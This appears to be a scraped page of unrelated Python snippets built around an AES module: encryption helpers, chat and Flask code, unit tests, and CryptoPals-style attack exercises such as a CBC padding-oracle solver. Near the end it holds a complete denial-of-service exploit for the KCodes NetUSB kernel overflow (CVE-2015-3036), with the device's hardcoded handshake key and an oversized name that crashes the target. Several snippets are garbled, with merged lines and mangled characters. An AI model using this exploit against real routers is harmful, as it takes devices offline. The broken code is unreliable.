def en_store(en_path, item, bitarray, key):
    """将加密信息存储到文件中"""
    fieldname = ['Keyword', 'BloomFilter', 'FIDS']
    if not os.path.isfile(en_path):
        with open(en_path, 'w', newline='') as f:
            wr = csv.DictWriter(f, fieldnames=fieldname)
            wr.writeheader()

    with open(en_path, 'a', newline='') as file:
        writer = csv.DictWriter(file, fieldnames=fieldname)
        en_key = AES.encrypt(item['Keyword'], key)
        en_FID = AES.encrypt(item['FIDS'], key)
        writer.writerow({
            'Keyword': en_key,
            'BloomFilter': bitarray,
            'FIDS': en_FID
        })


# if __name__ == '__main__':
#     key = os.urandom(16)
#     with open('D:\\毕设项目\\明文索引表.csv', 'r') as f:
#         reader = csv.DictReader(f)
#         for item in reader:
#             kw_list = item['Keywords'].split(',')
#             filter = BloomFilter(capacity=100)
#             for kw in kw_list:
#                 fuzzy_set = build_fuzzy_keyword_set(kw)
#                 en_fuzzy_set = kw_encrypt(fuzzy_set, key)
#                 add_to_filter(en_fuzzy_set, filter)
#             bitarray = base64.b64encode(filter.bitarray.tobytes()).decode('ascii')
#             en_store(item, bitarray, key)
def main():

    for texts in plains:
        texts = iv + texts
        cipher = AES.cbc_encrypt(texts, key, iv)
        blocks = AES.get_blocks(cipher)
        break_cipher(blocks)
Exemple #3
0
def decryptor():
	DecryptBTN.config(state="disabled")
	public_key = publicKeyOfSenderEntry.get()
	private_key = privateKeyOfRecieverEntry.get()
	directory = outputDecDirEntry.get()
	filename = outputDecFileEntry.get()
	AES.decrypt(filename,directory,public_key,private_key)
Exemple #4
0
    def sendText(self, message):
        print(message)

        mess = []
        server_address = (self.ip, portrec)

        # Encode the message and turn it back to text
        mess, padding = AES.encrypt_bytes(bytes(message, encoding="utf-8"))
        mess = base64.b64encode(mess)
        mess = mess.decode('utf-8')

        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect(server_address)

        for i in range(len(mess)):

            try:

                # Send data
                data = json.dumps({
                    "type": "t",
                    "text": mess[i],
                    "parts": len(mess),
                    "part": i,
                    "cipher": AES.Get_BlockType()
                })
                print('sending {!r}' + data)
                sock.send(data.encode())

            finally:
                print('fin')

        print('closing socket')
        sock.close()
def encrypt():
	if request.method=='POST':

		f=request.files['userfile']
		img_path="./static/{}".format(f.filename)  #.static/images.jpg
		f.save(img_path)

		caption=IC_Flask.caption_this_image(img_path)
		caption_path=img_path[:-4]
		caption_path+='.txt'


		with open(caption_path, "w") as f:
			f.write(caption)    

		enc_img=AES.convertFile(img_path, 1)
		enc_caption=AES.convertFile(caption_path, 1)
		
		result_dic={
			'image': enc_img,
			'caption': enc_caption
		}

		session['enc_dic']=result_dic


	return render_template("index.html", your_result=result_dic)
def solve_block(s_block, a_block):

    IM = b'\x00' * 16
    padding = 0
    for i in reversed(range(16)):
        padding += 1

        a = a_block
        a = setup_ablock(a, IM, i, padding, 16)

        sols = []
        for b in range(1, 255):
            a = idxBytes(a, i, b)
            cnew = AES.union_blocks([a, s_block])
            if validate_decryption(cnew):
                sols.append(b)
                #IM = idxBytes(IM, i, padding ^ b)
        if len(sols) == 1:
            IM = idxBytes(IM, i, padding ^ sols[0])
        else:
            for b in sols:
                a = a_block
                a = idxBytes(a, i, b)
                a = idxBytes(a, i - 1, b)
                cnew = AES.union_blocks([a, s_block])
                if validate_decryption(cnew):
                    IM = idxBytes(IM, i, padding ^ b)
            if IM[i] == 0:
                IM = idxBytes(IM, i, padding)

    return AES.XORBlocks(IM, a_block)
Exemple #7
0
 def test_Challenge7_AESECB_on_moredata(self):
     key = b"YELLOW SUBMARINE"
     dat = CryptoPals.BewareTheRanger()
     dat = bytes(dat,'utf8')
     enc1 = AES.EncryptBlocksECB(dat,key)
     dec1 = AES.DecryptBlocksECB(enc1,key)
     self.assertEqual(dat,dec1)
Exemple #8
0
def propagateChangesKeyPositions():
    key = 0x2b7e151628aed2a6abf7158809cf4f3c
    aesv = aes.AES(key)
    m = 0x1597C4EF331CC28B7E6D1B2EB3EA3B95
    c = aesv.encrypt(m)
    binc = asBinString(c)
    posChanging = {}
    for i in range(128):
        keyi = key ^ (1 << i)
        aesv = aes.AES(keyi)
        ci = aesv.encrypt(m)
        binci = asBinString(ci)
        pos = 0
        for bit in binci:
            if (bit != binc[pos]):
                if pos in posChanging:
                    posChanging[pos] += 1
                else:
                    posChanging[pos] = 1
            pos += 1
    width = 0.5
    plt.figure(figsize=(10, 12))
    plt.ylabel("Frecuency")
    plt.xlabel("Bins of positions changing")
    plt.title("Number of propagated bits changed on key bit")
    plt.bar(posChanging.keys(), posChanging.values(), width, color='g')
    plt.show()
Exemple #9
0
def generate(filename,count):

    # datsource = BewareTheRanger()
    datsource = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    datmiddle = bytes(datsource,'utf8')
    
    f = open(filename,'wb')

    for t in range(count):
        print(t)
        key = RandomBytes(16)
        iv = RandomBytes(16)
        datbefore = RandomBytes(random.randint(5,10))
        datafter = RandomBytes(random.randint(5,10))
        dat = datbefore+datmiddle+datafter
        mode = AESMode(random.randint(1,2))
        if (mode==AESMode.CBC):
            enc = AES.EncryptBlocksCBC(dat,key,iv)
        else:
            enc = AES.EncryptBlocksECB(dat,key)
        aes = AESInstance()
        aes.instance = t
        aes.key = key
        aes.iv = iv
        aes.mode = mode
        aes.enc = enc
        aes.lenBefore = len(datbefore)
        aes.lenAfter = len(datafter)
        persist(f,aes)

    f.close()
Exemple #10
0
def encrypt(file, save_as, schema, base_path):

    if schema == 'AES':
        pickle_in = open(base_path + 'en-de/aes.p', 'rb')
        passwd = pickle.load(pickle_in)
        pickle_in.close()
        AES.encrypt_AES(file, passwd, save_as)

    elif schema == 'RSA':

        RSA.encrypt_RSA(file, save_as, base_path)

    elif schema == 'DES':
        pickle_in = open(base_path + 'en-de/des.p', 'rb')
        passwd = pickle.load(pickle_in)
        pickle_in.close()
        DES.encrypt_DES(file, passwd, save_as)
    elif schema == 'BF':
        pickle_in = open(base_path + 'en-de/bf.p', 'rb')
        #print(base_path)
        passwd = pickle.load(pickle_in)
        pickle_in.close()
        bf.encrypt_bf(file, passwd, save_as)

    else:
        print('pending')
        sys.exit(2)
def main():
    select = input("Enter E for Encoding D for Decoding :")
    if select == 'E':
        if os.path.exists("out.txt"):
            os.remove("out.txt")
        if os.path.exists("pls.txt.enc"):
            os.remove("pls.txt.enc")
        if os.path.exists("pls.txt"):
            os.remove("pls.txt")
        if os.path.exists("images/out1.png"):
            os.remove("images/out1.png")

        if os.path.exists("images/in1.png"):
            secretMessage = input("Enter the secret message :")
            passwordText = input("Password :"******"pls.txt"):
                os.remove("pls.txt")
        else : print("Image is not Present")



    if select == 'D':
        if os.path.exists("pls.txt.enc"):
            decodedText = lsb.LsbDecoding()
            print(decodedText)
            password = input("Enter the password :"******"Final message :", finalMessage)
        else :
            print("PLS file is not present !")
Exemple #12
0
def main():

    infile = 'message.txt'
    img_file = 'output.png'
    outfile = 'out_message.txt'

    # with open('message.txt') as S:
    # print("Plaintext message:", S.read())

    # print('Encoding...')
    start = time.time()
    TtIED.encode(infile, img_file)
    AES.encrypt_image(img_file)
    end = time.time()
    # print('Encrypting...')

    # print('Encryption time: ', (end - start) * 1000)

    # print('Decrypting...')
    start = time.time()
    AES.decrypt_image(img_file + '.enc')
    TtIED.decode(img_file, outfile)
    end = time.time()
    # print('Decoding...')

    # print('Decryption time: ', (end - start) * 1000)

    # with open('out_message.txt') as S:
    # print("Decrypted message:", S.read())

    # time.sleep(10000)
    process = psutil.Process(os.getpid())
    print("Memory in MB:", process.memory_info().rss / 1024**2)
Exemple #13
0
def encryptor():
	EncryptBTN.config(state="disabled")
	public_key = publicKeyOfRecieverEntry.get()
	private_key = privateKeyOfSenderEntry.get()
	directory = inputEncDirEntry.get()
	filename = inputEncFileEntry.get()
	AES.encrypt(filename,directory,public_key,private_key)
def receiver():
	enc_dic={}

	if 'enc_dic' in session:
		enc_dic = session['enc_dic']

	enc_img=enc_dic['image']
	enc_caption=enc_dic['caption']

	# print(enc_img)	
	# print(enc_caption)
	
	dec_img=AES.convertFile(enc_img, 2)
	dec_caption=AES.convertFile(enc_caption, 2)
	caption=""

	with open(dec_caption, "r") as f:
		caption = f.read()

	result_dic={
		'image': dec_img,
		'caption': caption
	}
  	

	return render_template("receiver.html", your_result=result_dic)
def handle_client(client):  # Takes client socket as argument.
    """Handles a single client connection."""

    name = client.recv(BUFSIZ)
    name = AES.decrypt(key, name).decode("utf-8")

    welcome = '\nWelcome %s! If you ever want to quit, type {quit} to exit.' % name
    message = welcome.encode('UTF-8')
    ciphertext = AES.encrypt(key, message)
    client.send(ciphertext)
    # msg = "%s has joined the chat!" % name
    #broadcast(bytes(msg, "utf8"))
    clients[client] = name

    while True:
        message = client.recv(BUFSIZ)
        message = AES.decrypt(key, message).decode("utf-8")
        if message != "{quit}":
            broadcast(message, name + ": ")
        else:
            client.close()
            del clients[client]
            if bool(clients) == False:
                SERVER.close()
            break
Exemple #16
0
def get_ciphertext(in_file, ecb_key):
    # Convert input base64 to byte array
    enc_bytes = b64.decode_file(in_file)
    # Decrypt ECB file
    plaintext = AES.ECB_decrypt(ecb_key, enc_bytes)
    # Encrypt with CTR
    return AES.CTR_encrypt(key, plaintext, nonce)
Exemple #17
0
 def test_C10_CanEncryptAESCBC(self):
     randkey = b'0123456789ABCDEF'
     dat = CryptoPals.BewareTheRanger()
     dat = bytes(dat, 'utf8')
     iv = b'\x00' * 16
     enc1 = AES.EncryptBlocksCBC(dat, randkey, iv)
     dec1 = AES.DecryptBlocksCBC(enc1, randkey, iv)
     self.assertEqual(dat, dec1)
Exemple #18
0
    def __init__(self, key):
        self.encrypted_text = ''
        self.decrypted_text = ''
        self.key = key
        key_expansion = AESKeyExpansion(key)
        key_expansion.RunGen()
        self.expanded_key = key_expansion.GetExpandedKey()

        self.AES_encrypter = AES(self.expanded_key)
Exemple #19
0
 def test_C9_Pad4Block16(self):
     s = b"YELLOW SUBMARINE"
     padded = AES.PadPKCS7(s, 20)
     self.assertEqual(padded, b"YELLOW SUBMARINE\x04\x04\x04\x04")
     padded = AES.PadPKCS7(s, 16)
     self.assertEqual(
         padded,
         b"YELLOW SUBMARINE\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10"
     )
Exemple #20
0
def sendhomepage(clientsocket, keycv):
    req_recv = recvmsg(clientsocket)
    download_request = (AES.decrypt(req_recv, keycv)).decode()
    encrypted_text = ""
    if (download_request == "DownloadHome"):
        html_text = prepareHtml()
        encrypted_text = AES.encrypt(html_text, keycv)

    return encrypted_text
Exemple #21
0
def random_encryption(plaintext):
    plaintext = bytearray(os.urandom(randint(0,30))) + plaintext + bytearray(os.urandom(randint(0,30)))
    if (randint(0,1) == 1):
        # CBC
        ciphertext = AES.aes_128_cbc_enc(plaintext, random_aes_key(), random_aes_key())
        return ciphertext, 'CBC'
    else:
        # ECB
        ciphertext = AES.aes_128_ecb_enc(plaintext, random_aes_key())
        return ciphertext, 'ECB'
Exemple #22
0
def Challenge16_enc_string(s):
    middle = s.replace(";","")
    middle = middle.replace("=","")
    plaintext = "comment1=cooking%20MCs;userdata=" + middle + ";comment2=%20like%20a%20pound%20of%20bacon"
    plaintext = bytes(plaintext,'utf8')
    plaintext = AES.PadPKCS7(plaintext,16)
    iv = b'\x00'*16
    key = challenge16key
    enc = AES.EncryptBlocksCBC(plaintext,key,iv);
    return enc
Exemple #23
0
    def test__cipher(self):
        aes = AES(4, "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00")
        inp = strToWordArray("32 43 f6 a8 88 5a 30 8d 31 31 98 a2 e0 37 07 34")
        key = strToWordArray("2b 7e 15 16 28 ae d2 a6 ab f7 15 88 09 cf 4f 3c")

        w = key_expansion(key, 4, 10)
        cipher = aes._cipher(inp, w)
        print(cipher)

        assert cipher.hex() == "3925841d02dc09fbdc118597196a0b32"
Exemple #24
0
def encryption_oracle(input):
    pad1 = utils.random_bytes(randomPadLen())
    pad2 = utils.random_bytes(randomPadLen())
    input = pad1 + input + pad2
    if (utils.random_bool()):
        print('Performing CBC')
        return ('CBC', AES.CBC_encrypt(AES.randomKey(), input, AES.randomIV()))
    else:
        print('Performing ECB')
        return ('ECB', AES.ECB_encrypt(AES.randomKey(), input))
Exemple #25
0
    def test__decipher(self):
        aes = AES(4, "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00")
        cipher = strToWordArrayDense("69c4e0d86a7b0430d8cdb78070b4c55a")
        key = strToWordArray("00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f")

        dw = eq_rev_key_expansion(key, 4, 10)

        msg = aes._decipher(cipher, dw)

        assert wordArrayToStr(msg) == "00112233445566778899aabbccddeeff"
Exemple #26
0
def encrypt():
    file = request.args.get('filename')
    pwd = open('crypt//asd.txt').read()
    print(pwd)
    result = True
    try:
        AES.encrypt('static//files//' + file, pwd)
    except Exception as e:
        print(e)
        result = False
    return jsonify({'success': result})
Exemple #27
0
    def test_Challenge7_AES_KeyExpansion(self):
        key = b"Thats my Kung Fu"
        correct_answer = bytes.fromhex("E2 32 FC F1 91 12 91 88 B1 59 E4 E6 D6 79 A2 93".replace(" ",""))

        answer = AES.KeyExpansion(key,1)

        self.assertEqual(b"BCDA",AES.RollBytes(b"ABCD"))
        self.assertEqual(bytes.fromhex("B75A9D85"),AES.SBox( bytes.fromhex("20467567")))
        self.assertEqual(bytes.fromhex("B65A9D85"),AES.AddRound( bytes.fromhex("B75A9D85"),1))
        self.assertEqual(answer,correct_answer)
        AES.ShowState(answer)
Exemple #28
0
def closeDb():
    global conn
    global key
    global dbname
    global dbname_crypted

    conn.commit()
    conn.close()
    print "Databased closed"
    print "Encrypting database...."
    AES.encrypt_file(key, dbname, dbname_crypted, 16)
    Popen(['rm', dbname])
Exemple #29
0
def encryption_oracle(s, key):
    prob = rand.random(1)

    out = b''
    ans = ''
    if prob > .5:
        out = AES.ecb_encrypt(s, key)
        ans = 'ecb'
    else:
        out = AES.cbc_encrypt(s, key)
        ans = 'cbc'
    return out, ans
Exemple #30
0
def main():
    paddings = [
        b'ICE ICE BABY\x04\x04\x04\x04', b'ICE ICE BABY\x05\x05\x05\x05',
        b'ICE ICE BABY\x01\x02\x03\x04'
    ]

    for p in paddings:
        try:
            AES.verifyUnpadPKCS7(p)
            print(str(p) + " is correctly padded")
        except Exception as error:
            print(str(p) + " is incorrectly padded")
Exemple #31
0
    def extract(self, name):
        """Get the contents of an entry.

           NAME is an entry name.
           Return the tuple (ispkg, contents).
           For non-Python resoures, ispkg is meaningless (and 0).
           Used by the import mechanism."""
        if type(name) == type(''):
            ndx = self.toc.find(name)
            if ndx == -1:
                return None
        else:
            ndx = name
        (dpos, dlen, ulen, flag, typcd, nm) = self.toc.get(ndx)
        self.lib.seek(self.pkgstart+dpos)
        rslt = self.lib.read(dlen)
        if flag == 2:
            global AES
            import AES
            key = rslt[:32]
            # Note: keep this in sync with bootloader's code
            rslt = AES.new(key, AES.MODE_CFB, "\0"*AES.block_size).decrypt(rslt[32:])
        if flag == 1 or flag == 2:
            rslt = zlib.decompress(rslt)
        if typcd == 'M':
            return (1, rslt)
        return (0, rslt)
Exemple #32
0
    def start(self):
        #requistar Stream
        DNSSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        print 'Conectou no DNS'
        DNSSock.sendto('viewer', DNS_addr)
        stream_list, lixo = DNSSock.recvfrom(2048)
        print 'Lista de Streamers'
        print stream_list
        if self.stream_name == False:
            self.stream_name = raw_input("Qual o nome da stream? ")
            a = raw_input("Possui alguma key? key_path / n ")
            if a != 'n':
                self.key = open(a,'r')
                self.hide_str = True
            

        ## Pegando IP do streamer escolhido
        stream_IP = self.retiraIP(stream_list,self.stream_name)
        stream_addr = (stream_IP, 9000)
        print stream_addr

        DNSSock.close()
        
        ##Avisando ao streamer que esta vivo
        ola = "Novo Viewer"
        if self.hide_str:
            ola = AES.encryptData(self.key, ola, CIPHER_MODE) 
        self.strSock.sendto(ola, stream_addr)
Exemple #33
0
def decrypt():
    injson = None;
    if (request.headers['Content-Type'] == 'application/json'):
        injson = json.dumps(request.json);
        injson = json.loads(injson);
    else:
        return abort(415);

    data = injson['data'];

    decrypted_data = AES.decrypt(data);
    return jsonify(data=decrypted_data);
Exemple #34
0
    def add(self, entry):
        """
        Add an ENTRY to the CArchive.

        ENTRY must have:
          entry[0] is name (under which it will be saved).
          entry[1] is fullpathname of the file.
          entry[2] is a flag for it's storage format (0==uncompressed,
          1==compressed)
          entry[3] is the entry's type code.
          Version 5:
            If the type code is 'o':
              entry[0] is the runtime option
              eg: v  (meaning verbose imports)
                  u  (menaing unbuffered)
                  W arg (warning option arg)
                  s  (meaning do site.py processing.
        """
        (nm, pathnm, flag, typcd) = entry[:4]
        # FIXME Could we make the version 5 the default one?
        # Version 5 - allow type 'o' = runtime option.
        try:
            if typcd in ('o', 'd'):
                s = ''
                flag = 0
            elif typcd == 's':
                # If it's a source code file, add \0 terminator as it will be
                # executed as-is by the bootloader.
                s = open(pathnm, 'rU').read()
                s = s + '\n\0'
            else:
                s = open(pathnm, 'rb').read()
        except IOError:
            print "Cannot find ('%s', '%s', %s, '%s')" % (nm, pathnm, flag, typcd)
            raise
        ulen = len(s)
        assert flag in range(3)
        if flag == 1 or flag == 2:
            s = zlib.compress(s, self.LEVEL)
        if flag == 2:
            global AES
            import AES
            import Crypt
            key = Crypt.gen_random_key(32)
            # Note: keep this in sync with bootloader's code
            s = key + AES.new(key, AES.MODE_CFB, "\0" * AES.block_size).encrypt(s)
        dlen = len(s)
        where = self.lib.tell()
        if typcd == 'm':
            if pathnm.find('.__init__.py') > -1:
                typcd = 'M'
        self.toc.add(where, dlen, ulen, flag, typcd, nm)
        self.lib.write(s)
Exemple #35
0
 def extract(self, name):
     (ispkg, pos, lngth) = self.toc.get(name, (0, None, 0))
     if pos is None:
         return None
     self.lib.seek(self.start + pos)
     obj = self.lib.read(lngth)
     if self.crypted:
         if self.key is None:
             raise ImportError('decryption key not found')
         obj = AES.new(self.key, AES.MODE_CFB, self._iv(name)).decrypt(obj)
     try:
         obj = zlib.decompress(obj)
     except zlib.error:
         if not self.crypted:
             raise
         raise ImportError('invalid decryption key')
     try:
         co = marshal.loads(obj)
     except EOFError:
         raise ImportError("PYZ entry '%s' failed to unmarshal" % name)
     return ispkg, co
Exemple #36
0
 def _traces_under_key(self, key, n):
     print("-- Finding traces under for trace %d under key %016x" % (self.counter, key))
     self.counter += 1
     return map(lambda(p): AES.get_trace(p, key, n), self._plaintexts)
#Author: Fionn Mcguire
#Student Number: C13316356
#Assignment: Advanced Security Lab 3 (DES)



import AES
obj = AES.new('This is a key456', AES.MODE_ECB)
message = "The answer is no"
ciphertext = obj.encrypt(message)
obj2 = AES.new('This is a key456', AES.MODE_ECB)
obj2.decrypt(ciphertext)
Exemple #38
0
 def receive(self):
     data = self.strSock.recvfrom(1024)
     if self.hide_str:
         data[0] = AES.decryptData(self.key, data[0], CIPHER_MODE)
     return data[0]
def decrypt(toDecrypt,key):
    print('webappIDE.py:decrypt():toDecrypt: ' +toDecrypt)
    decrypter = AES.new(key,AES.MODE_CBC,1)
    decryption = decrypter.decrypt(toDecrypt)
    print('webappIDE.py:decrypt():decryption: ' +decryption)
    return decryption
def encrypt(toEncrypt,key):
    print('webappIDE.py:encrypt():toEncrypt: '+toEncrypt)
    encrypter = AES.new(key,AES.MODE_CBC,1)
    encryption = encrypter.encrypt(toEncrypt)
    print('weappIDE.py:encrypt():encryption: '+encryption)
    return encryption
Exemple #41
0
 def __init__(self, key, mode, IV):
     AES.__init__(self, key, mode, IV, "pycrypto")
     self.context = Crypto.Cipher.AES.new(key, mode, IV)
#!/usr/bin/env python# -*- coding: utf-8 -*-
import socketimport sysimport randomimport stringimport timeimport structfrom Crypto.Cipher import AES #pip install pycrypto
DOS_BYTES = 128 #BoFTIMEOUT = 5RECV_SIZE = 16PORT_DEFAULT = 20005
AESKey = "\x5c\x13\x0b\x59\xd2\x62\x42\x64\x9e\xd4\x88\x38\x2d\x5e\xae\xcc"
print "#"print "# Exploit KCodes NetUSB | Kernel Stack Buffer Overflow | Denial of Service (DoS)"print "# CVE-2015-3036"print "# Found by: Stefan Viehbck (Office Vienna) | SEC Consult Vulnerability Lab | https://www.sec-consult.com"print "# Exploit author: Adrin Ruiz Bermudo | @funsecurity | http://www.funsecurity.net"print "# Advisory: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt"print "#"print ""
if len(sys.argv) >= 2: try:		target = sys.argv[1] try:			port = int(sys.argv[2]) except Exception as detail:			port = PORT_DEFAULT  #Inicializacin de la conexin.		init = "\x56\x05" #Datos aleatorios para el handshake		randomData = "".join(random.choice(string.lowercase) for i in range(RECV_SIZE)) #Nombre del equipo con 128 carcteres para provocar DoS.		computerName = "".join(random.choice(string.lowercase) for i in range(DOS_BYTES)) #Longitud del nombre del equipo - "\x80\x00\x00\x00"		lengthComputerName = struct.pack("i", DOS_BYTES); #Sync - "\x07\x00\x00\x00"		syncOK = struct.pack("i", 7); #Finalizacin de la conexin.		end = "\x01"
		encryption_suite = AES.new(AESKey, AES.MODE_ECB, "")		randomDataCrypt1 = encryption_suite.encrypt(randomData)
		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)		sock.settimeout(TIMEOUT)
 print "Conectando:", target,":",port		sock.connect((target, port)) print "Conectado" print "----------------"
 print "Inicializando:", init.encode("hex")		sock.send(init) print "Random data para cifrar por el servidor:", randomData.encode("hex")		sock.send(randomData) print "----------------"
		result = sock.recv(RECV_SIZE) print "Random data cifrados por el servidor:", result.encode("hex") print "Random data cifrados por el cliente:", randomDataCrypt1.encode("hex") if (randomDataCrypt1 == result): print "Handshake OK"			randomData = sock.recv(RECV_SIZE) print "Random data a cifrar por el cliente:", randomData.encode("hex")			randomDataCrypt2 = encryption_suite.encrypt(randomData) print "Random data cifrados por el cliente:", randomDataCrypt2.encode("hex") print "----------------"			sock.send(randomDataCrypt2) print "Tamanio del nombre del host a parear:", lengthComputerName.encode("hex")			sock.send(lengthComputerName) print "Nombre del host a parear:", computerName.encode("hex")			sock.send(computerName) print "----------------"
 print "Sync: ", syncOK.encode("hex")			sock.send(syncOK) if (sock.recv(RECV_SIZE) == syncOK): print "Sync ok"				sock.send(end) try: #Esperamos unos segundos antes de conectar					time.sleep(TIMEOUT) #Comprobamos si el dispositivo sigue vivo...					sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)					sock.settimeout(TIMEOUT)					sock.connect((target, port)) print "No vulnerable" except Exception as detail: print "Vulnerable, exploit OK" else: print 'Sync error.' except Exception as detail: print "Error de comunicacin:", detailelse: print "Usage:", sys.argv[0], "target [port]"
Exemple #43
0
import hashlib
import random


def GenerageKey():
    import random
    import struct
    import hashlib
    seeds = random.random()
    m = hashlib.md5()
    m.update(str(seeds))
    ret1 = m.digest()
    seeds = random.random()
    m.update(str(seeds))
    ret2 = m.digest()
    ret = struct.pack("%ds%ds"%(len(ret1),len(ret2)),ret1,ret2)
    return ret
    
print (len(GenerageKey()))



key = GenerageKey()
text = GenerageKey()
obj = AES.new(key)
cryp = obj.encrypt(text)
after = obj.decrypt(cryp)

if after == text:
    print ("success")